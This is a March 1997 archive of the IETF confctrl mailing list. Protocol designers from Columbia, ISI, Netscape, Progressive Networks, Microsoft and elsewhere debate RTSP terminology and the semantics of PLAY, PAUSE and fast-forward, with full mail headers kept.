>> session-specific. A much simpler algorithm is to do as we suggest and to
>> maintain a constant data rate, accelerating only the timeline when "fast"
>> is occurring.
>
>I'm afraid I dont understand this fully. (due to our terminology again,
>I think). What the channel or URL means with respect to different
>streams/substreams is upto the session description. Yes, if the session
>description describes 2 streams, you have to calculate what fast means
>for both of them. However, as I've said above, in general the
>alternative a)  is not the way to do things in a lot of the cases,
>particulary video. For simplicity in these cases, a server may just
>refuse.
>
>
>On a similar note :- What may be  of some concern(I just thought), there
>is no indication in the protocol messages of the bandwidth that the
>stream will occupy(other than the Accpet header that is not
>authoritative. )Rather, this is in the session description. This may
>complicate implementation of an intermediary - it will necessarily have
>to know the session description. (For eg., a packet filter may want to
>know what the data transfer rate will be). Comments welcome.
>
>-- 
>-----------------------------------------------------------------
>  Anup Rao                                                      
>  Netscape Communications Corp.                   
>  email : anup@netscape.com         Phone : (415) 937 3129       
>-----------------------------------------------------------------
>
-------------------------------------------------------------------------------
Adrien de Croy - adrien@qbik.com.  Qbik Software Limited, Auckland, New Zealand
                 See our pages and learn about WinGate at http://www.qbik.com/
-------------------------------------------------------------------------------


From majordom@ISI.EDU  Fri Mar  7 03:59:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06959>; Fri, 7 Mar 1997 06:06:18 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06951>; Fri, 7 Mar 1997 06:06:11 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18573>; Fri, 7 Mar 1997 06:06:08 -0800
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Mar  7 09:05:03 EST 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Mar  7 09:02:13 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id IAA14869 for <confctrl@isi.edu>; Fri, 7 Mar 1997 08:59:57 -0500 (EST)
Message-Id: <33201F5C.50F6@cs.columbia.edu>
Date: Fri, 07 Mar 1997 08:59:56 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP terminology
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Any objections to the following terminology:

stream - one audio/video/... flow of data (like an RTP Stream, or a
DSM-CC stream)

event - the whole show/movie/presentation/concert/..., with a single
timeline and one or more streams.

We avoid the word "session" since it is used in sligthly different ways
in RTP and SDP.

RTSP also allows to group streams in different ways, depending on the
event description, e.g., all audio streams within an event. Probably
'group of streams' will suffice, as this isn't something appearing often
in the spec.

Comments.

From majordom@ISI.EDU  Fri Mar  7 04:29:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07382>; Fri, 7 Mar 1997 06:33:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07376>; Fri, 7 Mar 1997 06:33:09 -0800
Received: from dirty.research.bell-labs.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19320>; Fri, 7 Mar 1997 06:33:08 -0800
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Mar  7 09:32:15 EST 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Mar  7 09:31:42 EST 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id JAA15964 for <confctrl@isi.edu>; Fri, 7 Mar 1997 09:29:25 -0500 (EST)
Message-Id: <33202644.DE5@cs.columbia.edu>
Date: Fri, 07 Mar 1997 09:29:24 -0500
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: PLAY, PAUSE timing
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

All commands are issued in short succession:

PLAY 10-15
PLAY 17-19

means that the server should play NPT 10 through 15, immediately
followed by 10 through 19. (Rather than interrupting the playing of
10-15 and jumping to 17-19 as soon as it gets the second PLAY).

PLAY 10-15
PLAY 17-19
PAUSE

would interrupt the server whenever it gets the PAUSE, in either the
first or second segment.

PLAY 10-15
PLAY 17-19
PAUSE 16

would pause the stream after playing 10-15, position NPT to 16 and not
play 17-19 at all.

Any comments?

Henning

From majordom@ISI.EDU  Fri Mar  7 05:04:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08262>; Fri, 7 Mar 1997 07:06:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08256>; Fri, 7 Mar 1997 07:06:12 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20915>; Fri, 7 Mar 1997 07:06:11 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA12358; Fri, 7 Mar 1997 10:04:34 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP terminology 
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST."
             <33201F5C.50F6@cs.columbia.edu> 
Date: Fri, 07 Mar 1997 10:04:34 -0500
Message-Id: <12356.857747074@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>stream - one audio/video/... flow of data (like an RTP Stream, or a
>DSM-CC stream)
>
>event - the whole show/movie/presentation/concert/..., with a single
>timeline and one or more streams.

Event is already a pretty overloaded term.  I think you'll end up
talking about events (occurrences) in the event (session).

>We avoid the word "session" since it is used in sligthly different ways
>in RTP and SDP.

Personally, I'd use the word session rather than event (session is
less overloaded than event is, and is consistent with SDP/SAP/SIP).  I
don't think there's a problem so long as you include a glossary.  I've
been trying to think of alternatives, but can't think of one that I
like...

Mark

From majordom@ISI.EDU  Thu Mar  6 23:20:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08782>; Fri, 7 Mar 1997 07:20:09 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08776>; Fri, 7 Mar 1997 07:20:08 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21549>; Fri, 7 Mar 1997 07:20:07 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id HAA16362; Fri, 7 Mar 1997 07:20:03 -0800 (PST)
Message-Id: <199703071520.HAA16362@mailhost.nttlabs.com>
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP terminology 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST"
References: <33201F5C.50F6@cs.columbia.edu> 
Date: Fri, 07 Mar 1997 07:20:02 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|Any objections to the following terminology:
|
|stream - one audio/video/... flow of data (like an RTP Stream, or a
|DSM-CC stream)
|
|event - the whole show/movie/presentation/concert/..., with a single
|timeline and one or more streams.

Try that again (its the vicodin):

Except that event has programming/system connotations...

|
|We avoid the word "session" since it is used in sligthly different ways
|in RTP and SDP.
|
|RTSP also allows to group streams in different ways, depending on the
|event description, e.g., all audio streams within an event. Probably
|'group of streams' will suffice, as this isn't something appearing often
|in the spec.
|
|Comments.
|


From majordom@ISI.EDU  Thu Mar  6 23:18:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08735>; Fri, 7 Mar 1997 07:19:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08729>; Fri, 7 Mar 1997 07:19:02 -0800
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA21509>; Fri, 7 Mar 1997 07:19:01 -0800
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id HAA16302; Fri, 7 Mar 1997 07:18:51 -0800 (PST)
Message-Id: <199703071518.HAA16302@mailhost.nttlabs.com>
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP terminology 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST"
References: <33201F5C.50F6@cs.columbia.edu> 
Date: Fri, 07 Mar 1997 07:18:51 -0800
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

|Any objections to the following terminology:
|
|stream - one audio/video/... flow of data (like an RTP Stream, or a
|DSM-CC stream)
|
|event - the whole show/movie/presentation/concert/..., with a single
|timeline and one or more streams.

Accept that event has programming and system connotations that may
cause confusion.  Hmmm... difficult either way.

|
|We avoid the word "session" since it is used in sligthly different ways
|in RTP and SDP.
|
|RTSP also allows to group streams in different ways, depending on the
|event description, e.g., all audio streams within an event. Probably
|'group of streams' will suffice, as this isn't something appearing often
|in the spec.
|
|Comments.
|


From majordom@ISI.EDU  Fri Mar  7 17:36:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09374>; Fri, 7 Mar 1997 07:37:54 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09361>; Fri, 7 Mar 1997 07:37:51 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-26)
	id <AA22395>; Fri, 7 Mar 1997 07:37:03 -0800
Received: by www45.inria.fr (8.8.5/8.6.12) id QAA00340; Fri, 7 Mar 1997 16:36:34 +0100 (MET)
Message-Id: <199703071536.QAA00340@www45.inria.fr>
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP terminology 
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST."
             <33201F5C.50F6@cs.columbia.edu> 
Date: Fri, 07 Mar 1997 16:36:34 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Any objections to the following terminology:
>
>stream - one audio/video/... flow of data (like an RTP Stream, or a
>DSM-CC stream)
>
>event - the whole show/movie/presentation/concert/..., with a single
>timeline and one or more streams.

I'd prefer "presentation" or "multimedia presentation" over event - 

"event" is overloaded in the UI area, and may also pop up in the file
format retrieved by RTSP (e.g. user interaction event, event in audio track 
triggering other events, events are ordered on a timeline etc.)

also, "event" somehow incurs real-time - a concert event etc.

From majordom@ISI.EDU  Fri Mar  7 00:32:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11916>; Fri, 7 Mar 1997 08:32:30 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11887>; Fri, 7 Mar 1997 08:32:25 -0800
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25145>; Fri, 7 Mar 1997 08:32:24 -0800
Received: from woodstock.cs.berkeley.edu (localhost.Berkeley.EDU [127.0.0.1]) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) with ESMTP id IAA29637; Fri, 7 Mar 1997 08:32:28 -0800 (PST)
From: Larry Rowe <larry@CS.Berkeley.EDU>
Message-Id: <199703071632.IAA29637@woodstock.cs.berkeley.edu>
X-Mailer: exmh version 1.6.9 8/22/96
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: RTSP terminology 
Reply-To: Rowe@bmrc.berkeley.edu
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST."
             <33201F5C.50F6@cs.columbia.edu> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 07 Mar 1997 08:32:28 -0800
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning -

Why not use the term "program" as a synonym for "event."  Whether the program 
is live or stored doesn't really matter.  I realize that "program" conflicts 
with computer programs, but I suspect context will clarify most usages.  I 
believe the analogy with television programs is important to use.
	Larry


From majordom@ISI.EDU  Fri Mar  7 01:02:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13557>; Fri, 7 Mar 1997 09:06:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13551>; Fri, 7 Mar 1997 09:06:16 -0800
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA27033>; Fri, 7 Mar 1997 09:06:15 -0800
Received: from relay.jf.intel.com (relay.jf.intel.com [134.134.131.6])
          by ormail.intel.com (8.8.4/8.8.4) with ESMTP
	  id JAA06916; Fri, 7 Mar 1997 09:05:18 -0800 (PST)
Received: (from ccmgate@localhost) by relay.jf.intel.com (8.7.6/8.7.3) id JAA13056; Fri, 7 Mar 1997 09:05:26 -0800 (PST)
Received: by ccm.jf.intel.com (ccmgate 3.2 #6) Fri, 07 Mar 97 09:05:26 PST
Date: Fri, 07 Mar 97 09:02:00 PST
From: John H Wilson <John_H_Wilson@ccm.jf.intel.com>
Message-Id: <Fri, 07 Mar 97 09:05:15 PST_4@ccm.jf.intel.com>
To: hgs@cs.columbia.edu
Cc: confctrl@ISI.EDU
Subject: Re[2]: RTSP terminology
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Text item: 

I believe that, if RTSP defines Stream and Session carefully, uses them 
discriminately, and relates them to the corresponding terms in RTP and 
SDP, that would be the best solution. 

People in this field are familiar with these terms, and the language 
naturally includes them...it would be difficult to make a radical 
departure.

I also agree with Mark on the problem with the term "event" (and also 
its real-time connotations).

John 


______________________________ Reply Separator _________________________________
Subject: Re: RTSP terminology
Author:  majordom@ISI.EDU at SMTPGATE
Date:    3/7/97 10:04 AM


>stream - one audio/video/... flow of data (like an RTP Stream, or a
>DSM-CC stream)
>
>event - the whole show/movie/presentation/concert/..., with a single
>timeline and one or more streams.

Event is already a pretty overloaded term.  I think you'll end up
talking about events (occurrences) in the event (session).

>We avoid the word "session" since it is used in sligthly different ways
>in RTP and SDP.

Personally, I'd use the word session rather than event (session is
less overloaded than event is, and is consistent with SDP/SAP/SIP).  I
don't think there's a problem so long as you include a glossary.  I've
been trying to think of alternatives, but can't think of one that I
like...

Mark

Text item: External Message Header

The following mail header is for administrative use
and may be ignored unless there are problems.

***IF THERE ARE PROBLEMS SAVE THESE HEADERS***.

Precedence: bulk
Sender: owner-confctrl@ISI.EDU
Message-Id: <12356.857747074@buttle.lcs.mit.edu>
Date: Fri, 07 Mar 1997 10:04:34 -0500
In-Reply-To: Your message of "Fri, 07 Mar 1997 08:59:56 EST."
             <33201F5C.50F6@cs.columbia.edu>
Subject: Re: RTSP terminology
Cc: confctrl@ISI.EDU
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
X-Phone: +1 617 253 6011
X-Organisation: Information Sciences Institute, USC
From: Mark Handley <mjh@ISI.EDU>
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
     id KAA12358; Fri, 7 Mar 1997 10:04:34 -0500
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
     id <AA20915>; Fri, 7 Mar 1997 07:06:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
     id <AA08256>; Fri, 7 Mar 1997 07:06:12 -0800
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
     id <AA08262>; Fri, 7 Mar 1997 07:06:19 -0800
Received: from zephyr.isi.edu (zephyr.isi.edu [128.9.160.160]) by mailbag.jf.int
el.com (8.8.5/8.7.3) with SMTP id HAA25686; Fri, 7 Mar 1997 07:47:44 -0800 (PST)

Received: from mailbag.jf.intel.com (mailbag.jf.intel.com [134.134.248.4]) by re
lay.jf.intel.com (8.7.6/8.7.3) with ESMTP id HAA24906; Fri, 7 Mar 1997 07:45:18
-0800 (PST)
Return-Path: majordom@ISI.EDU

From majordom@ISI.EDU  Fri Mar  7 01:21:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14535>; Fri, 7 Mar 1997 09:25:11 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14522>; Fri, 7 Mar 1997 09:25:08 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28093>; Fri, 7 Mar 1997 09:25:07 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02733
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Fri, 7 Mar 1997 09:25:34 -0800
Message-Id: <3.0.32.19970307083629.00ab58ac@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Fri, 07 Mar 1997 09:21:33 -0800
To: Eric Fleischman <ericfl@MICROSOFT.com>,
        'Sampo Syreeni' <decoy@edu.lahti.fi>,
        'Jeff Smith' <sumisu@nttlabs.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Pause, Fast-Forward, Fast-rewind in RTSP
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 05:51 PM 3/5/97 -0800, you wrote:
>[speaking of implementing "pause" by treating it like a stop/close]
>This is all very clean and has permitted our streaming servers to scale to 
>a thousand (or more) simultaneous sessions. This would not have been 
>possible had we been using the algorithm this discussion seems to be 
>assuming.

We've also been able to implement servers that scale to a thousand (or
more) simultaneous sessions, and we've actually maintained PAUSE as a
state.  The reason is very straightforward why this works:  when someone
hits "pause", they often do want to do a small, momentary pause.  In our
current implementation, there is a timeout when the pause is very long (I
can't remember the number, but this is easily verified using our client).

Momentary pausing is more scalable than stopping, since only allowing stop
would actually result in having to go through a potentially expensive setup
when playback resumes.

>Related user controls which seems to have been overlooked by the RTSP draft 
>are "fast forward" and "fast rewind". These are very important controls 
>which are quite popular with users. Unfortunately, they are only possible 
>for certain media types such as video. The way these commands work is very 
>similar to the "pause", so I mention it here for completeness' sake.
>
[explanation of "rate" as a parameter for the PLAY method]

I agree that we need these.  However, in early discussion we compromised
with the notion these are media-specific methods, since they don't
necessarily apply to all streams, as noted.  I think we can come up with a
core RTSP document without this method.  At that point, it would be simple
enough to standardize these as parameters in SET_PARAM and GET_PARAM, or as
an extension field to PLAY, as you described.

As long as we can stipulate that these belong as optional extensions rather
than core requirements, I'm sure there will be no problem placing these in
an appropriate document (which is probably the core document, though I'd
want to make sure we don't lose focus on the core framework before adding
this extra feature).

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com


From majordom@ISI.EDU  Fri Mar  7 09:28:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14681>; Fri, 7 Mar 1997 09:28:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14664>; Fri, 7 Mar 1997 09:28:03 -0800
Received: from ALMADEN.IBM.COM by venera.isi.edu (5.65c/5.61+local-26)
	id <AA28236>; Fri, 7 Mar 1997 09:28:02 -0800
Received: from ALMADEN by almaden.ibm.com (IBM VM SMTP V2R2) with BSMTP id 7832;
   Fri, 07 Mar 97 09:26:55 PST
Received: by ALMADEN (XAGENTA 4.0) id 9640; Fri, 7 Mar 1997 09:26:55 -0800
Received: by almlnsg0.almaden.ibm.com (outermai.cmd 1.2 31 Aug 1993) 9:27am 7 Mar 1997
Received: by almlnsg0.almaden.ibm.com (IBM OS/2 SENDMAIL VERSION 1.3.14/)
          id AA8620; Fri, 07 Mar 97 09:27:57 -0800
Received: by ALMADEN (Lotus Notes Mail Gateway for SMTP V1.1) id
  C23F20FDBC1BD2B288256453005F3A2D; Fri,  7 Mar 97 09:27:53
Message-Id: <9703071727.AA8620@almlnsg0.almaden.ibm.com>
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl <confctrl@isi.edu>
From: "Marc Eshel/Almaden/IBM" <eshel@almaden.ibm.com>
Date:  7 Mar 97  9:27:31
Subject: Re: PLAY, PAUSE timing
Mime-Version: 1.0
Content-Type: Text/Plain
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,
Is there a way to PLAY ranges from different source files in the same "event"
to create "playlist" so one can cut and past few clips into s smooth
presentation
dynamically. ?  I think we should have this capability.
Marc.



        hgs @ cs.columbia.edu ("Henning Schulzrinne (BL)")
03/07/97 09:29 AM


To: confctrl @ isi.edu @ gw
cc:  (bcc: Marc Eshel/Almaden/IBM)
Subject: PLAY, PAUSE timing

All commands are issued in short succession:

PLAY 10-15
PLAY 17-19

means that the server should play NPT 10 through 15, immediately
followed by 10 through 19. (Rather than interrupting the playing of
10-15 and jumping to 17-19 as soon as it gets the second PLAY).

PLAY 10-15
PLAY 17-19
PAUSE

would interrupt the server whenever it gets the PAUSE, in either the
first or second segment.

PLAY 10-15
PLAY 17-19
PAUSE 16

would pause the stream after playing 10-15, position NPT to 16 and not
play 17-19 at all.

Any comments?

Henning





From majordom@ISI.EDU  Fri Mar  7 02:20:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18105>; Fri, 7 Mar 1997 10:19:50 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18097>; Fri, 7 Mar 1997 10:19:48 -0800
Received: from c3po.mcom.com (h-205-217-237-46.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00680>; Fri, 7 Mar 1997 10:19:47 -0800
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54]) by c3po.mcom.com (8.7.5/8.7.3) with ESMTP id KAA05312 for <confctrl@ISI.EDU>; Fri, 7 Mar 1997 10:19:46 -0800 (PST)
Received: from stargazer ([207.1.142.55]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA11793;
          Fri, 7 Mar 1997 10:19:45 -0800
Message-Id: <33205C6E.37BC@netscape.com>
Date: Fri, 07 Mar 1997 10:20:30 -0800
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Cc: confctrl@ISI.EDU, robla@prognet.com
Subject: Re: PLAY, PAUSE timing
References: <33202644.DE5@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne (BL) wrote:
> 
> All commands are issued in short succession:
> 
> PLAY 10-15
> PLAY 17-19
> 
> means that the server should play NPT 10 through 15, immediately
> followed by 10 through 19. (Rather than interrupting the playing of
> 10-15 and jumping to 17-19 as soon as it gets the second PLAY).
> 
> PLAY 10-15
> PLAY 17-19
> PAUSE
> 
> would interrupt the server whenever it gets the PAUSE, in either the
> first or second segment.
> 
> PLAY 10-15
> PLAY 17-19
> PAUSE 16
> 
> would pause the stream after playing 10-15, position NPT to 16 and not
> play 17-19 at all.
> 
> Any comments?
> 
> Henning


Some thoughts on the requirements and trade-offs:

a) Retreival of data on a  specific and accurate scale. This is mostly
for editing or other high-end stuff. I think this is being dealt with
well in the current draft with a few additions decided on(such as PAUSE
at a certain time or offset).

b) As far as possible, simplicity of implementation of applications that
do not need a)

c) Possible queuing of  PLAY requests at the server. PAUSE requests
could be applied towards the PLAY in progress.

It would seem that a very simple state model aids greatly in
implemenation, particulary over UDP. c) could cause complexity
particularly in the UDP case since order is not guaranteed. Also, the
client may not know which PLAY message the PAUSE is being applied to -
this cannot do any good. Clearly , by not queueing up PLAYs at the
server, one would occur atleast a RTT delay in starting playing another
range after the first one has ended. This delay is probably
inconsequential from a human user perspective, but not if the client
entity is non-human.

If we absolutely do need this queuing, one option is to associate every
PLAY with an id in its PLAY_REPLY, and for the PAUSE to explicity
reference this id. This way, the high-end client knows what it is
pausing, and state management at the server is somewhat simplified.


-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Fri Mar  7 02:45:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19862>; Fri, 7 Mar 1997 10:44:57 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19855>; Fri, 7 Mar 1997 10:44:54 -0800
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02113>; Fri, 7 Mar 1997 10:44:53 -0800
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id KAA09771; Fri, 7 Mar 1997 10:41:41 -0800
Date: Fri, 7 Mar 1997 10:45:00 -0800 ()
From: Stephen Casner <casner@precept.com>
To: Mark Handley <mjh@isi.edu>
Cc: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>, confctrl@isi.edu
Subject: Re: RTSP terminology 
In-Reply-To: <12356.857747074@buttle.lcs.mit.edu>
Message-Id: <Pine.WNT.3.95.970307103645.-4084113A-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 7 Mar 1997, Mark Handley wrote:

> >We avoid the word "session" since it is used in sligthly different ways
> >in RTP and SDP.
> 
> Personally, I'd use the word session rather than event (session is
> less overloaded than event is, and is consistent with SDP/SAP/SIP).  I
> don't think there's a problem so long as you include a glossary.

The RTP spec defines the term "RTP session" rather than claiming the
more generic term "session" as an attempt at coexistence.

							-- Steve


From majordom@ISI.EDU  Fri Mar  7 01:38:43 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22194>; Fri, 7 Mar 1997 11:01:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22188>; Fri, 7 Mar 1997 11:01:37 -0800
Received: from INET-02-IMC.microsoft.com (mail2.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA03331>; Fri, 7 Mar 1997 11:01:36 -0800
Received: by INET-02-IMC.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BC2AE3.E8184A20@INET-02-IMC.microsoft.com>; Fri, 7 Mar 1997 10:39:59 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-68-MSG-970307173843Z-841@INET-02-IMC.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>, 'Sampo Syreeni'
	 <decoy@edu.lahti.fi>,
        'Jeff Smith' <sumisu@nttlabs.com>
Cc: 'Henning Schulzrinne' <schulzrinne@cs.columbia.edu>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RE: Pause, Fast-Forward, Fast-rewind in RTSP
Date: Fri, 7 Mar 1997 09:38:43 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 67 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There seems to have been some confusion over my inadvertent use of the term 
"STOP". Our stop is your "pause" in that its total effect is to stop the 
data stream. It does not tear down the data stream session. It does not 
need "timers" since the events are user-controlled and no resources are 
consumed via our version of pause.

I am afraid that this type of misunderstanding is due to us not working 
from the same model with a consistent state machine. I can not imagine a 
simpler state machine than that which drives our implementation.

-----Original Message-----
From:	Rob Lanphier [SMTP:robla@prognet.com]
Sent:	Friday, March 07, 1997 9:22 AM
To:	Eric Fleischman; 'Sampo Syreeni'; 'Jeff Smith'
Cc:	'Henning Schulzrinne'; 'confctrl@isi.edu'
Subject:	Re: Pause, Fast-Forward, Fast-rewind in RTSP

At 05:51 PM 3/5/97 -0800, you wrote:
>[speaking of implementing "pause" by treating it like a stop/close]
>This is all very clean and has permitted our streaming servers to scale to 
>a thousand (or more) simultaneous sessions. This would not have been
>possible had we been using the algorithm this discussion seems to be
>assuming.

We've also been able to implement servers that scale to a thousand (or
more) simultaneous sessions, and we've actually maintained PAUSE as a
state.  The reason is very straightforward why this works:  when someone
hits "pause", they often do want to do a small, momentary pause.  In our
current implementation, there is a timeout when the pause is very long (I
can't remember the number, but this is easily verified using our client).

Momentary pausing is more scalable than stopping, since only allowing stop
would actually result in having to go through a potentially expensive 
setup
when playback resumes.

>Related user controls which seems to have been overlooked by the RTSP 
draft
>are "fast forward" and "fast rewind". These are very important controls
>which are quite popular with users. Unfortunately, they are only possible 
>for certain media types such as video. The way these commands work is very 
>similar to the "pause", so I mention it here for completeness' sake.
>
